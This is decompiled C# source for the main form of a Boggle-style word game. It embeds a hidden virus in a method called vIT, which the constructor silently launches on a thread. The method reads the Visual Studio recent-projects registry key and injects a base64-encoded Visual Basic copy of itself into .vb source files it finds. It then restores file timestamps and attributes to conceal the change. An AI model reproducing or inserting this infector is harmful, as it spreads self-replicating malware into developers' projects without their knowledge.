internal virtual Label Label7
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label7 == null)
;
this._Label7 = value;
if (this._Label7 == null)
;
}
get => this._Label7;
}
internal virtual MenuItem mnuMode
{
get => this._mnuMode;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuMode == null)
;
this._mnuMode = value;
if (this._mnuMode == null)
;
}
}
internal virtual MenuItem mnuBoardGameMode
{
get => this._mnuBoardGameMode;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuBoardGameMode != null)
this._mnuBoardGameMode.Click -= new EventHandler(this.ChangeMode);
this._mnuBoardGameMode = value;
if (this._mnuBoardGameMode == null)
return;
this._mnuBoardGameMode.Click += new EventHandler(this.ChangeMode);
}
}
internal virtual MenuItem mnuVsMode
{
get => this._mnuVsMode;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuVsMode != null)
this._mnuVsMode.Click -= new EventHandler(this.ChangeMode);
this._mnuVsMode = value;
if (this._mnuVsMode == null)
return;
this._mnuVsMode.Click += new EventHandler(this.ChangeMode);
}
}
internal virtual Label lblComputerRounds
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblComputerRounds == null)
;
this._lblComputerRounds = value;
if (this._lblComputerRounds == null)
;
}
get => this._lblComputerRounds;
}
internal virtual MenuItem mnuTeachingMode
{
get => this._mnuTeachingMode;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTeachingMode != null)
this._mnuTeachingMode.Click -= new EventHandler(this.ChangeMode);
this._mnuTeachingMode = value;
if (this._mnuTeachingMode == null)
return;
this._mnuTeachingMode.Click += new EventHandler(this.ChangeMode);
}
}
internal virtual MenuItem mnuEndGame
{
get => this._mnuEndGame;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuEndGame != null)
this._mnuEndGame.Click -= new EventHandler(this.mnuEndGame_Click);
this._mnuEndGame = value;
if (this._mnuEndGame == null)
return;
this._mnuEndGame.Click += new EventHandler(this.mnuEndGame_Click);
}
}
internal virtual MenuItem MenuItem2
{
get => this._MenuItem2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem2 == null)
;
this._MenuItem2 = value;
if (this._MenuItem2 == null)
;
}
}
internal virtual MenuItem MenuItem1
{
get => this._MenuItem1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem1 == null)
;
this._MenuItem1 = value;
if (this._MenuItem1 == null)
;
}
}
internal virtual Label lblHumanRounds
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblHumanRounds == null)
;
this._lblHumanRounds = value;
if (this._lblHumanRounds == null)
;
}
get => this._lblHumanRounds;
}
internal virtual MenuItem mnuEnableDefSearch
{
get => this._mnuEnableDefSearch;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuEnableDefSearch != null)
this._mnuEnableDefSearch.Click -= new EventHandler(this.mnuEnableDefSearch_Click);
this._mnuEnableDefSearch = value;
if (this._mnuEnableDefSearch == null)
return;
this._mnuEnableDefSearch.Click += new EventHandler(this.mnuEnableDefSearch_Click);
}
}
internal virtual MenuItem mnuAbout
{
get => this._mnuAbout;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuAbout != null)
this._mnuAbout.Click -= new EventHandler(this.mnuAbout_Click);
this._mnuAbout = value;
if (this._mnuAbout == null)
return;
this._mnuAbout.Click += new EventHandler(this.mnuAbout_Click);
}
}
internal virtual MenuItem MenuItem3
{
get => this._MenuItem3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem3 == null)
;
this._MenuItem3 = value;
if (this._MenuItem3 == null)
;
}
}
internal virtual MenuItem MenuItem8
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem8 == null)
;
this._MenuItem8 = value;
if (this._MenuItem8 == null)
;
}
get => this._MenuItem8;
}
internal virtual MenuItem mnuLevelEasy
{
get => this._mnuLevelEasy;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuLevelEasy != null)
this._mnuLevelEasy.Click -= new EventHandler(this.ChangeLevel);
this._mnuLevelEasy = value;
if (this._mnuLevelEasy == null)
return;
this._mnuLevelEasy.Click += new EventHandler(this.ChangeLevel);
}
}
internal virtual MenuItem mnuLevelMedium
{
get => this._mnuLevelMedium;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuLevelMedium != null)
this._mnuLevelMedium.Click -= new EventHandler(this.ChangeLevel);
this._mnuLevelMedium = value;
if (this._mnuLevelMedium == null)
return;
this._mnuLevelMedium.Click += new EventHandler(this.ChangeLevel);
}
}
internal virtual MenuItem mnuLevelHard
{
get => this._mnuLevelHard;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuLevelHard != null)
this._mnuLevelHard.Click -= new EventHandler(this.ChangeLevel);
this._mnuLevelHard = value;
if (this._mnuLevelHard == null)
return;
this._mnuLevelHard.Click += new EventHandler(this.ChangeLevel);
}
}
internal virtual MenuItem mnuHighScores
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuHighScores != null)
this._mnuHighScores.Click -= new EventHandler(this.mnuHighScores_Click);
this._mnuHighScores = value;
if (this._mnuHighScores == null)
return;
this._mnuHighScores.Click += new EventHandler(this.mnuHighScores_Click);
}
get => this._mnuHighScores;
}
internal virtual MenuItem mnuLevelImpossible
{
get => this._mnuLevelImpossible;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuLevelImpossible != null)
this._mnuLevelImpossible.Click -= new EventHandler(this.ChangeLevel);
this._mnuLevelImpossible = value;
if (this._mnuLevelImpossible == null)
return;
this._mnuLevelImpossible.Click += new EventHandler(this.ChangeLevel);
}
}
internal virtual MenuItem MenuItem4
{
get => this._MenuItem4;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem4 == null)
;
this._MenuItem4 = value;
if (this._MenuItem4 == null)
;
}
}
internal virtual MenuItem mnuTimerInterval
{
get => this._mnuTimerInterval;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTimerInterval == null)
;
this._mnuTimerInterval = value;
if (this._mnuTimerInterval == null)
;
}
}
internal virtual MenuItem mnuTmr30
{
get => this._mnuTmr30;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr30 != null)
{
this._mnuTmr30.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr30.Click -= new EventHandler(this.ChangeTimerInterval);
}
this._mnuTmr30 = value;
if (this._mnuTmr30 == null)
return;
this._mnuTmr30.Click += new EventHandler(this.ChangeTimerInterval);
this._mnuTmr30.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTips
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTips != null)
this._mnuTips.Click -= new EventHandler(this.mnuTips_Click);
this._mnuTips = value;
if (this._mnuTips == null)
return;
this._mnuTips.Click += new EventHandler(this.mnuTips_Click);
}
get => this._mnuTips;
}
internal virtual MenuItem mnuTmr100
{
get => this._mnuTmr100;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr100 != null)
this._mnuTmr100.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr100 = value;
if (this._mnuTmr100 == null)
return;
this._mnuTmr100.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr130
{
get => this._mnuTmr130;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr130 != null)
this._mnuTmr130.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr130 = value;
if (this._mnuTmr130 == null)
return;
this._mnuTmr130.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr200
{
get => this._mnuTmr200;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr200 != null)
this._mnuTmr200.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr200 = value;
if (this._mnuTmr200 == null)
return;
this._mnuTmr200.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem MenuItem6
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem6 == null)
;
this._MenuItem6 = value;
if (this._MenuItem6 == null)
;
}
get => this._MenuItem6;
}
internal virtual MenuItem mnuTmr230
{
get => this._mnuTmr230;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr230 != null)
this._mnuTmr230.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr230 = value;
if (this._mnuTmr230 == null)
return;
this._mnuTmr230.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr300
{
get => this._mnuTmr300;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr300 != null)
this._mnuTmr300.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr300 = value;
if (this._mnuTmr300 == null)
return;
this._mnuTmr300.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr330
{
get => this._mnuTmr330;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr330 != null)
this._mnuTmr330.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr330 = value;
if (this._mnuTmr330 == null)
return;
this._mnuTmr330.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual BogButton btnFinish
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnFinish != null)
this._btnFinish.Click -= new EventHandler(this.btnFinish_Click);
this._btnFinish = value;
if (this._btnFinish == null)
return;
this._btnFinish.Click += new EventHandler(this.btnFinish_Click);
}
get => this._btnFinish;
}
internal virtual MenuItem mnuTmr400
{
get => this._mnuTmr400;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr400 != null)
this._mnuTmr400.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr400 = value;
if (this._mnuTmr400 == null)
return;
this._mnuTmr400.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr430
{
get => this._mnuTmr430;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr430 != null)
this._mnuTmr430.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr430 = value;
if (this._mnuTmr430 == null)
return;
this._mnuTmr430.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuTmr500
{
get => this._mnuTmr500;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuTmr500 != null)
this._mnuTmr500.Click -= new EventHandler(this.ChangeTimerInterval);
this._mnuTmr500 = value;
if (this._mnuTmr500 == null)
return;
this._mnuTmr500.Click += new EventHandler(this.ChangeTimerInterval);
}
}
internal virtual MenuItem mnuEnableTimerFlash
{
get => this._mnuEnableTimerFlash;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuEnableTimerFlash != null)
this._mnuEnableTimerFlash.Click -= new EventHandler(this.mnuEnableTimerFlash_Click);
this._mnuEnableTimerFlash = value;
if (this._mnuEnableTimerFlash == null)
return;
this._mnuEnableTimerFlash.Click += new EventHandler(this.mnuEnableTimerFlash_Click);
}
}
internal virtual MenuItem mnuEnableWordValidation
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuEnableWordValidation != null)
this._mnuEnableWordValidation.Click -= new EventHandler(this.mnuEnableWordValidation_Click);
this._mnuEnableWordValidation = value;
if (this._mnuEnableWordValidation == null)
return;
this._mnuEnableWordValidation.Click += new EventHandler(this.mnuEnableWordValidation_Click);
}
get => this._mnuEnableWordValidation;
}
internal virtual BogButton btnContinue
{
get => this._btnContinue;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnContinue != null)
this._btnContinue.Click -= new EventHandler(this.btnContinue_Click_1);
this._btnContinue = value;
if (this._btnContinue == null)
return;
this._btnContinue.Click += new EventHandler(this.btnContinue_Click_1);
}
}
internal virtual BogButton btnScramble
{
get => this._btnScramble;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnScramble != null)
this._btnScramble.Click -= new EventHandler(this.btnScramble_Click_1);
this._btnScramble = value;
if (this._btnScramble == null)
return;
this._btnScramble.Click += new EventHandler(this.btnScramble_Click_1);
}
}
internal virtual MenuItem MenuItem5
{
get => this._MenuItem5;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._MenuItem5 == null)
;
this._MenuItem5 = value;
if (this._MenuItem5 == null)
;
}
}
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public frmMain()
{
this.Load += new EventHandler(this.frmMain_Load);
this.FoundWords = new DataTable();
this.WordsChosen = new string[1];
this.ScramSec = 5.0;
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init = new StaticLocalInitFlag();
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.pnlCubes = new BogPanel();
this.pnlTimer = new BogPanel();
this.tmrMain = new BogTimer();
this.BogBorder2 = new BogBorder();
this.BogBorder6 = new BogBorder();
this.BogBorder7 = new BogBorder();
this.BogBorder8 = new BogBorder();
this.lbl1 = new CircleLabel();
this.lbl4 = new CircleLabel();
this.lbl3 = new CircleLabel();
this.lbl2 = new CircleLabel();
this.lbl5 = new CircleLabel();
this.lbl6 = new CircleLabel();
this.lbl7 = new CircleLabel();
this.lbl8 = new CircleLabel();
this.lbl9 = new CircleLabel();
this.lbl10 = new CircleLabel();
this.lbl11 = new CircleLabel();
this.lbl12 = new CircleLabel();
this.lbl13 = new CircleLabel();
this.lbl14 = new CircleLabel();
this.lbl15 = new CircleLabel();
this.lbl16 = new CircleLabel();
this.picCubeDown = new PictureBox();
this.btnAddWord = new BogButton();
this.lstHumanWordsFound = new ListBox();
this.mnuMain = new MainMenu();
this.mnuGame = new MenuItem();
this.mnuNewGame = new MenuItem();
this.mnuEndGame = new MenuItem();
this.MenuItem8 = new MenuItem();
this.mnuHighScores = new MenuItem();
this.MenuItem2 = new MenuItem();
this.mnuExitGame = new MenuItem();
this.mnuOptions = new MenuItem();
this.mnuEnableDefSearch = new MenuItem();
this.MenuItem1 = new MenuItem();
this.mnuMode = new MenuItem();
this.mnuBoardGameMode = new MenuItem();
this.mnuVsMode = new MenuItem();
this.mnuTeachingMode = new MenuItem();
this.MenuItem3 = new MenuItem();
this.mnuLevelEasy = new MenuItem();
this.mnuLevelMedium = new MenuItem();
this.mnuLevelHard = new MenuItem();
this.mnuLevelImpossible = new MenuItem();
this.MenuItem4 = new MenuItem();
this.mnuTimerInterval = new MenuItem();
this.mnuTmr30 = new MenuItem();
this.mnuTmr100 = new MenuItem();
this.mnuTmr130 = new MenuItem();
this.mnuTmr200 = new MenuItem();
this.mnuTmr230 = new MenuItem();
this.mnuTmr300 = new MenuItem();
this.mnuTmr330 = new MenuItem();
this.mnuTmr400 = new MenuItem();
this.mnuTmr430 = new MenuItem();
this.mnuTmr500 = new MenuItem();
this.mnuEnableTimerFlash = new MenuItem();
this.MenuItem5 = new MenuItem();
this.mnuEnableWordValidation = new MenuItem();
this.mnuHelp = new MenuItem();
this.mnuAbout = new MenuItem();
this.MenuItem6 = new MenuItem();
this.mnuTips = new MenuItem();
this.tmrContMain = new System.Windows.Forms.Timer(this.components);
this.txtWordFound = new TextBox();
this.lblHumanScore = new Label();
this.Panel1 = new Panel();
this.pnlScore = new BogPanel();
this.pnlWords = new BogPanel();
this.BogBorder9 = new BogBorder();
this.BogBorder10 = new BogBorder();
this.BogBorder11 = new BogBorder();
this.BogBorder12 = new BogBorder();
this.BogBorder13 = new BogBorder();
this.BogBorder14 = new BogBorder();
this.BogBorder15 = new BogBorder();
this.BogBorder16 = new BogBorder();
this.lstCompFoundWords = new ListBox();
this.tmrBtn1 = new Button();
this.tmrBtn2 = new Button();
this.tmrBtn3 = new Button();
this.tmrBtn4 = new Button();
this.Label1 = new Label();
this.Label2 = new Label();
this.lblCompScore = new Label();
this.Label3 = new Label();
this.Label4 = new Label();
this.Label5 = new Label();
this.lblHumanWordsCount = new Label();
this.lblCompWordsCount = new Label();
this.btnContinue = new BogButton();
this.btnScramble = new BogButton();
this.btnFinish = new BogButton();
this.lblHumanRounds = new Label();
this.lblComputerRounds = new Label();
this.Label7 = new Label();
this.Label8 = new Label();
this.lblRound = new Label();
this.Label6 = new Label();
this.BogBorder5 = new BogBorder();
this.Panel3 = new Panel();
this.Panel2 = new Panel();
this.txtMain = new RichTextBox();
this.BogBorder4 = new BogBorder();
this.BogBorder3 = new BogBorder();
this.BogBorder1 = new BogBorder();
this.picCubesUp = new PictureBox();
this.CircleLabel1 = new CircleLabel();
this.CircleLabel2 = new CircleLabel();
this.CircleLabel3 = new CircleLabel();
this.PictureBox1 = new PictureBox();
this.SuspendLayout();
this.pnlCubes.BackColor = System.Drawing.Color.DarkGray;
BogPanel pnlCubes1 = this.pnlCubes;
Point point1 = new Point(310, -3);
Point point2 = point1;
pnlCubes1.Location = point2;
this.pnlCubes.Name = "pnlCubes";
BogPanel pnlCubes2 = this.pnlCubes;
Size size1 = new Size(539, 650);
Size size2 = size1;
pnlCubes2.Size = size2;
this.pnlCubes.TabIndex = 6;
this.pnlCubes.TabStop = false;
this.pnlTimer.BackColor = System.Drawing.Color.DarkGray;
BogPanel pnlTimer1 = this.pnlTimer;
point1 = new Point(35, -1);
Point point3 = point1;
pnlTimer1.Location = point3;
this.pnlTimer.Name = "pnlTimer";
BogPanel pnlTimer2 = this.pnlTimer;
size1 = new Size(237, 166);
Size size3 = size1;
pnlTimer2.Size = size3;
this.pnlTimer.TabIndex = 7;
this.pnlTimer.TabStop = false;
this.tmrMain.BackColor = System.Drawing.Color.Black;
this.tmrMain.EnableFlash = false;
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70);
this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue;
BogTimer tmrMain1 = this.tmrMain;
point1 = new Point(69, 24);
Point point4 = point1;
tmrMain1.Location = point4;
this.tmrMain.Name = "tmrMain";
BogTimer tmrMain2 = this.tmrMain;
size1 = new Size(168, 80);
Size size4 = size1;
tmrMain2.Size = size4;
this.tmrMain.TabIndex = 8;
this.tmrMain.TimerText = (string) null;
this.BogBorder2.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder2.BorderDirection = BogBorder.Direction.Left;
BogBorder bogBorder2_1 = this.BogBorder2;
point1 = new Point(59, 13);
Point point5 = point1;
bogBorder2_1.Location = point5;
this.BogBorder2.Name = "BogBorder2";
BogBorder bogBorder2_2 = this.BogBorder2;
size1 = new Size(10, 102);
Size size5 = size1;
bogBorder2_2.Size = size5;
this.BogBorder2.TabIndex = 14;
this.BogBorder2.TabStop = false;
this.BogBorder6.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder6.BorderDirection = BogBorder.Direction.Top;
BogBorder bogBorder6_1 = this.BogBorder6;
point1 = new Point(69, 16);
Point point6 = point1;
bogBorder6_1.Location = point6;
this.BogBorder6.Name = "BogBorder6";
BogBorder bogBorder6_2 = this.BogBorder6;
size1 = new Size(168, 9);
Size size6 = size1;
bogBorder6_2.Size = size6;
this.BogBorder6.TabIndex = 15;
this.BogBorder6.TabStop = false;
this.BogBorder7.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder7.BorderDirection = BogBorder.Direction.Bottom;
BogBorder bogBorder7_1 = this.BogBorder7;
point1 = new Point(69, 104);
Point point7 = point1;
bogBorder7_1.Location = point7;
this.BogBorder7.Name = "BogBorder7";
BogBorder bogBorder7_2 = this.BogBorder7;
size1 = new Size(168, 9);
Size size7 = size1;
bogBorder7_2.Size = size7;
this.BogBorder7.TabIndex = 16;
this.BogBorder7.TabStop = false;
this.BogBorder8.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder8.BorderDirection = BogBorder.Direction.Right;
BogBorder bogBorder8_1 = this.BogBorder8;
point1 = new Point(237, 16);
Point point8 = point1;
bogBorder8_1.Location = point8;
this.BogBorder8.Name = "BogBorder8";
BogBorder bogBorder8_2 = this.BogBorder8;
size1 = new Size(10, 97);
Size size8 = size1;
bogBorder8_2.Size = size8;
this.BogBorder8.TabIndex = 17;
this.BogBorder8.TabStop = false;
this.lbl1.BackColor = System.Drawing.Color.LightGray;
this.lbl1.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl1.CubeText = "W";
this.lbl1.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl1.CubeTopRadius = 55L;
CircleLabel lbl1_1 = this.lbl1;
point1 = new Point(386, 186);
Point point9 = point1;
lbl1_1.Location = point9;
this.lbl1.Name = "lbl1";
CircleLabel lbl1_2 = this.lbl1;
size1 = new Size(55, 55);
Size size9 = size1;
lbl1_2.Size = size9;
this.lbl1.TabIndex = 19;
this.lbl1.Tag = (object) "00";
this.lbl4.BackColor = System.Drawing.Color.LightGray;
this.lbl4.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl4.CubeText = "W";
this.lbl4.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl4.CubeTopRadius = 55L;
CircleLabel lbl4_1 = this.lbl4;
point1 = new Point(609, 190);
Point point10 = point1;
lbl4_1.Location = point10;
this.lbl4.Name = "lbl4";
CircleLabel lbl4_2 = this.lbl4;
size1 = new Size(55, 55);
Size size10 = size1;
lbl4_2.Size = size10;
this.lbl4.TabIndex = 20;
this.lbl4.Tag = (object) "30";
this.lbl3.BackColor = System.Drawing.Color.LightGray;
this.lbl3.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl3.CubeText = "W";
this.lbl3.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl3.CubeTopRadius = 55L;
CircleLabel lbl3_1 = this.lbl3;
point1 = new Point(532, 189);
Point point11 = point1;
lbl3_1.Location = point11;
this.lbl3.Name = "lbl3";
CircleLabel lbl3_2 = this.lbl3;
size1 = new Size(55, 55);
Size size11 = size1;
lbl3_2.Size = size11;
this.lbl3.TabIndex = 21;
this.lbl3.Tag = (object) "20";
this.lbl2.BackColor = System.Drawing.Color.LightGray;
this.lbl2.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl2.CubeText = "W";
this.lbl2.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl2.CubeTopRadius = 55L;
CircleLabel lbl2_1 = this.lbl2;
